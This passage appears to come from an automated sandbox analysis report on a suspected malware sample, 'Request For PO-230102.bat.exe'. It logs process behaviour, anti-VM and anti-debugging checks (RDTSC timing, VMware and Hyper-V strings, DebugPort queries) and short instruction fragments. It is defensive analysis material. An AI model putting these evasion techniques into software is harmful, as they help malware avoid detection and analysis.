          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Yara detected AntiVM3
          Source: Yara matchFile source: Process Memory Space: Request For PO-230102.bat.exe PID: 4948, type: MEMORYSTR
          Switches to a custom stack to bypass stack traces
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CECD944
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CECD504
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CECD544
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Windows\SysWOW64\cmstp.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Tries to detect virtualization through RDTSC time measurements
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeRDTSC instruction interceptor: First address: 409B6E second address: 409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cmstp.exeRDTSC instruction interceptor: First address: 2E99904 second address: 2E9990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\cmstp.exeRDTSC instruction interceptor: First address: 2E99B6E second address: 2E99B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: 1280000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: 2C30000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: 4C30000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: 8920000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: 9920000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: 9B10000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeMemory allocated: AB10000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00409AA0 rdtsc 4_2_00409AA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7054Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2474Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 3203Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 6734Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 883Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeWindow / User API: threadDelayed 9817Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeAPI coverage: 1.6 %
          Source: C:\Windows\SysWOW64\cmstp.exeAPI coverage: 1.5 %
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exe TID: 6324Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5392Thread sleep time: -2767011611056431s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 2384Thread sleep count: 3203 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 2384Thread sleep time: -6406000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 2384Thread sleep count: 6734 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 2384Thread sleep time: -13468000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exe TID: 1504Thread sleep count: 156 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exe TID: 1504Thread sleep time: -312000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exe TID: 1504Thread sleep count: 9817 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exe TID: 1504Thread sleep time: -19634000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\cmstp.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3B3C4 memset,GetPrivateProfileStringW,FindFirstFileW,memset,FindNextFileW,14_2_00E3B3C4
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3894B memset,memset,memset,SHGetFolderPathW,memset,SHGetFolderPathW,CmFree,memset,FindFirstFileW,GetLastError,memset,memset,FindNextFileW,FindClose,14_2_00E3894B
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3F80E GetSystemInfo,GetVersionExW,14_2_00E3F80E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: explorer.exe, 00000006.00000000.1272516776.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
          Source: explorer.exe, 00000006.00000000.1281166558.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
          Source: explorer.exe, 00000006.00000003.3075220415.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
          Source: explorer.exe, 00000006.00000003.3076194400.0000000009013000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
          Source: explorer.exe, 00000006.00000003.3076696296.0000000007314000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_xU1
          Source: explorer.exe, 00000006.00000000.1281166558.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
          Source: explorer.exe, 00000006.00000002.3714307589.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
          Source: explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
          Source: explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
          Source: explorer.exe, 00000006.00000003.2271728227.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3713594724.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3075220415.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware20,1
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
          Source: explorer.exe, 00000006.00000000.1281166558.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMWare
          Source: explorer.exe, 00000006.00000002.3714307589.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
          Source: explorer.exe, 00000006.00000003.3076696296.0000000007314000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
          Source: explorer.exe, 00000006.00000002.3713594724.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3075220415.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F27000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWT`
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM
          Source: explorer.exe, 00000006.00000000.1274239166.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
          Source: explorer.exe, 00000006.00000000.1272516776.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
          Source: explorer.exe, 00000006.00000000.1281166558.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000006.00000000.1272516776.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00409AA0 rdtsc 4_2_00409AA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0040ACE0 LdrLoadDll,4_2_0040ACE0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674164 mov eax, dword ptr fs:[00000030h]4_2_01674164
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674164 mov eax, dword ptr fs:[00000030h]4_2_01674164
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6154 mov eax, dword ptr fs:[00000030h]4_2_015A6154
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A6154 mov eax, dword ptr fs:[00000030h]4_2_015A6154
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159C156 mov eax, dword ptr fs:[00000030h]4_2_0159C156
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01634144 mov eax, dword ptr fs:[00000030h]4_2_01634144
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01634144 mov eax, dword ptr fs:[00000030h]4_2_01634144
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01634144 mov ecx, dword ptr fs:[00000030h]4_2_01634144
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01634144 mov eax, dword ptr fs:[00000030h]4_2_01634144
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01634144 mov eax, dword ptr fs:[00000030h]4_2_01634144
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01638158 mov eax, dword ptr fs:[00000030h]4_2_01638158
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov eax, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov ecx, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov eax, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov eax, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov ecx, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov eax, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov eax, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov ecx, dword ptr fs:[00000030h]4_2_0164E10E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164E10E mov eax, dword ptr fs:[00000030h]4_2_0164E10E
